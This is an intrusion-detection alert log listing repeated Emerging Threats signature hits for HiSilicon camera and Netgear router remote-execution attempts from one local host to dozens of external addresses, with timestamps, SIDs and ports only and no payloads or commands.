ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.20.235.171

Timestamp:	05/16/24-16:39:05.676373
SID:	2030488
Source Port:	48284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.20.235.171

Timestamp:	05/16/24-16:39:05.676373
SID:	2030487
Source Port:	48284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.117.99.45

Timestamp:	05/16/24-16:39:14.522096
SID:	2030487
Source Port:	41566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.117.99.45

Timestamp:	05/16/24-16:39:14.522096
SID:	2030488
Source Port:	41566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.218.34.14

Timestamp:	05/16/24-16:38:55.226833
SID:	2030487
Source Port:	60670
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.218.34.14

Timestamp:	05/16/24-16:38:55.226833
SID:	2030488
Source Port:	60670
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.67.244.233

Timestamp:	05/16/24-16:39:12.304126
SID:	2030487
Source Port:	39144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.67.244.233

Timestamp:	05/16/24-16:39:12.304126
SID:	2030488
Source Port:	39144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.47.195.110

Timestamp:	05/16/24-16:38:49.277196
SID:	2024916
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.170.245.66

Timestamp:	05/16/24-16:39:03.268466
SID:	2030488
Source Port:	56638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.170.245.66

Timestamp:	05/16/24-16:39:03.268466
SID:	2030487
Source Port:	56638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.73.53.150

Timestamp:	05/16/24-16:39:14.524536
SID:	2030488
Source Port:	42986
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.32.89.235

Timestamp:	05/16/24-16:39:16.600097
SID:	2030487
Source Port:	51804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 118.235.32.54

Timestamp:	05/16/24-16:38:49.306429
SID:	2034576
Source Port:	42358
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.173.31.8

Timestamp:	05/16/24-16:38:57.409854
SID:	2030487
Source Port:	34142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.32.89.235

Timestamp:	05/16/24-16:39:16.600097
SID:	2030488
Source Port:	51804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.187.25.28

Timestamp:	05/16/24-16:39:08.041738
SID:	2030488
Source Port:	59444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.187.25.28

Timestamp:	05/16/24-16:39:08.041738
SID:	2030487
Source Port:	59444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.173.31.8

Timestamp:	05/16/24-16:38:57.409854
SID:	2030488
Source Port:	34142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 29.67.192.209

Timestamp:	05/16/24-16:39:09.587308
SID:	2024916
Source Port:	41208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.251.251.159

Timestamp:	05/16/24-16:39:14.492288
SID:	2030488
Source Port:	38346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.234.104.28

Timestamp:	05/16/24-16:38:50.065118
SID:	2030487
Source Port:	53362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.234.104.28

Timestamp:	05/16/24-16:38:50.065118
SID:	2030488
Source Port:	53362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.251.251.159

Timestamp:	05/16/24-16:39:14.492288
SID:	2030487
Source Port:	38346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.122.62.16

Timestamp:	05/16/24-16:39:02.744426
SID:	2030487
Source Port:	51960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.183.61.98

Timestamp:	05/16/24-16:38:57.304677
SID:	2030488
Source Port:	58210
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.122.62.16

Timestamp:	05/16/24-16:39:02.744426
SID:	2030488
Source Port:	51960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.91.75.89

Timestamp:	05/16/24-16:38:50.080392
SID:	2030488
Source Port:	44714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.91.75.89

Timestamp:	05/16/24-16:38:50.080392
SID:	2030487
Source Port:	44714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.96.15.64

Timestamp:	05/16/24-16:39:03.281737
SID:	2030487
Source Port:	46930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.96.15.64

Timestamp:	05/16/24-16:39:03.281737
SID:	2030488
Source Port:	46930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.183.145.243

Timestamp:	05/16/24-16:39:14.493523
SID:	2030488
Source Port:	46878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.183.61.98

Timestamp:	05/16/24-16:38:57.304677
SID:	2030487
Source Port:	58210
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.183.145.243

Timestamp:	05/16/24-16:39:14.493523
SID:	2030487
Source Port:	46878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.85.127.188

Timestamp:	05/16/24-16:38:50.047582
SID:	2030488
Source Port:	37936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.146.62.83

Timestamp:	05/16/24-16:38:57.303508
SID:	2030488
Source Port:	35690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.85.127.188

Timestamp:	05/16/24-16:38:50.047582
SID:	2030487
Source Port:	37936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.146.62.83

Timestamp:	05/16/24-16:38:57.303508
SID:	2030487
Source Port:	35690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.110.177.163

Timestamp:	05/16/24-16:39:02.765358
SID:	2030488
Source Port:	39056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.110.177.163

Timestamp:	05/16/24-16:39:02.765358
SID:	2030487
Source Port:	39056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.225.224.164

Timestamp:	05/16/24-16:38:59.557635
SID:	2030488
Source Port:	38004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.93.109.240

Timestamp:	05/16/24-16:39:05.706070
SID:	2030487
Source Port:	46830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.17.87.65

Timestamp:	05/16/24-16:39:16.579873
SID:	2030487
Source Port:	40206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.225.224.164

Timestamp:	05/16/24-16:38:59.557635
SID:	2030487
Source Port:	38004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.93.109.240

Timestamp:	05/16/24-16:39:05.706070
SID:	2030488
Source Port:	46830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.17.87.65

Timestamp:	05/16/24-16:39:16.579873
SID:	2030488
Source Port:	40206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.186.100.248

Timestamp:	05/16/24-16:39:02.726987
SID:	2030488
Source Port:	38976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.212.94.118

Timestamp:	05/16/24-16:39:16.602142
SID:	2030487
Source Port:	49192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.212.94.118

Timestamp:	05/16/24-16:39:16.602142
SID:	2030488
Source Port:	49192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.186.100.248

Timestamp:	05/16/24-16:39:02.726987
SID:	2030487
Source Port:	38976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.60.214.64

Timestamp:	05/16/24-16:39:08.047734
SID:	2030487
Source Port:	43768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.126.23.186

Timestamp:	05/16/24-16:38:55.177025
SID:	2030488
Source Port:	46766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.126.23.186

Timestamp:	05/16/24-16:38:55.177025
SID:	2030487
Source Port:	46766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.60.214.64

Timestamp:	05/16/24-16:39:08.047734
SID:	2030488
Source Port:	43768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.134.214.101

Timestamp:	05/16/24-16:38:55.177025
SID:	2030488
Source Port:	44956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.134.214.101

Timestamp:	05/16/24-16:38:55.177025
SID:	2030487
Source Port:	44956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.20.63.157

Timestamp:	05/16/24-16:38:50.069067
SID:	2030487
Source Port:	56072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.20.63.157

Timestamp:	05/16/24-16:38:50.069067
SID:	2030488
Source Port:	56072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.53.19.147

Timestamp:	05/16/24-16:38:50.048837
SID:	2030487
Source Port:	36780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.53.19.147

Timestamp:	05/16/24-16:38:50.048837
SID:	2030488
Source Port:	36780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.207.13.22

Timestamp:	05/16/24-16:39:05.675941
SID:	2030487
Source Port:	55742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.207.13.22

Timestamp:	05/16/24-16:39:05.675941
SID:	2030488
Source Port:	55742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.168.71.3

Timestamp:	05/16/24-16:38:55.218338
SID:	2030487
Source Port:	39432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.168.71.3

Timestamp:	05/16/24-16:38:55.218338
SID:	2030488
Source Port:	39432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.81.55.254

Timestamp:	05/16/24-16:39:02.768654
SID:	2030488
Source Port:	43930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.81.55.254

Timestamp:	05/16/24-16:39:02.768654
SID:	2030487
Source Port:	43930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.73.53.150

Timestamp:	05/16/24-16:39:14.524536
SID:	2030487
Source Port:	42986
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.144.52.3

Timestamp:	05/16/24-16:39:05.707922
SID:	2030487
Source Port:	51112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.168.158.36

Timestamp:	05/16/24-16:39:14.493626
SID:	2030487
Source Port:	35600
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.144.52.3

Timestamp:	05/16/24-16:39:05.707922
SID:	2030488
Source Port:	51112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.168.158.36

Timestamp:	05/16/24-16:39:14.493626
SID:	2030488
Source Port:	35600
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.46.104.53

Timestamp:	05/16/24-16:39:05.675881
SID:	2030488
Source Port:	57424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 64.175.91.127

Timestamp:	05/16/24-16:38:53.410061
SID:	2034576
Source Port:	51066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.46.104.53

Timestamp:	05/16/24-16:39:05.675881
SID:	2030487
Source Port:	57424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.175.22.251

Timestamp:	05/16/24-16:38:50.052428
SID:	2030488
Source Port:	35470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.30.229.20

Timestamp:	05/16/24-16:39:14.493337
SID:	2030487
Source Port:	47258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.175.22.251

Timestamp:	05/16/24-16:38:50.052428
SID:	2030487
Source Port:	35470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.125.122.36

Timestamp:	05/16/24-16:39:12.301081
SID:	2030488
Source Port:	53552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.30.229.20

Timestamp:	05/16/24-16:39:14.493337
SID:	2030488
Source Port:	47258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.102.73.46

Timestamp:	05/16/24-16:39:03.253939
SID:	2030488
Source Port:	52820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.20.139.206

Timestamp:	05/16/24-16:39:14.494706
SID:	2030488
Source Port:	60958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.157.102.89

Timestamp:	05/16/24-16:38:53.069516
SID:	2030488
Source Port:	38474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.7.157.185

Timestamp:	05/16/24-16:39:08.041267
SID:	2030487
Source Port:	44192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.157.102.89

Timestamp:	05/16/24-16:38:53.069516
SID:	2030487
Source Port:	38474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.7.157.185

Timestamp:	05/16/24-16:39:08.041267
SID:	2030488
Source Port:	44192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.144.32.168

Timestamp:	05/16/24-16:39:03.259995
SID:	2030488
Source Port:	33916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.144.32.168

Timestamp:	05/16/24-16:39:03.259995
SID:	2030487
Source Port:	33916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.20.139.206

Timestamp:	05/16/24-16:39:14.494706
SID:	2030487
Source Port:	60958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.128.107.11

Timestamp:	05/16/24-16:39:16.605778
SID:	2030487
Source Port:	51892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.49.216.200

Timestamp:	05/16/24-16:38:50.080377
SID:	2030487
Source Port:	38954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.49.216.200

Timestamp:	05/16/24-16:38:50.080377
SID:	2030488
Source Port:	38954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 194.199.56.62

Timestamp:	05/16/24-16:39:05.717200
SID:	2030487
Source Port:	57120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 194.199.56.62

Timestamp:	05/16/24-16:39:05.717200
SID:	2030488
Source Port:	57120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.189.129.77

Timestamp:	05/16/24-16:38:55.196451
SID:	2030487
Source Port:	55212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.189.129.77

Timestamp:	05/16/24-16:38:55.196451
SID:	2030488
Source Port:	55212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.128.107.11

Timestamp:	05/16/24-16:39:16.605778
SID:	2030488
Source Port:	51892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.124.115.228

Timestamp:	05/16/24-16:38:57.423122
SID:	2030487
Source Port:	39024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.23.108.97

Timestamp:	05/16/24-16:39:12.380687
SID:	2030488
Source Port:	51654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.124.115.228

Timestamp:	05/16/24-16:38:57.423122
SID:	2030488
Source Port:	39024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

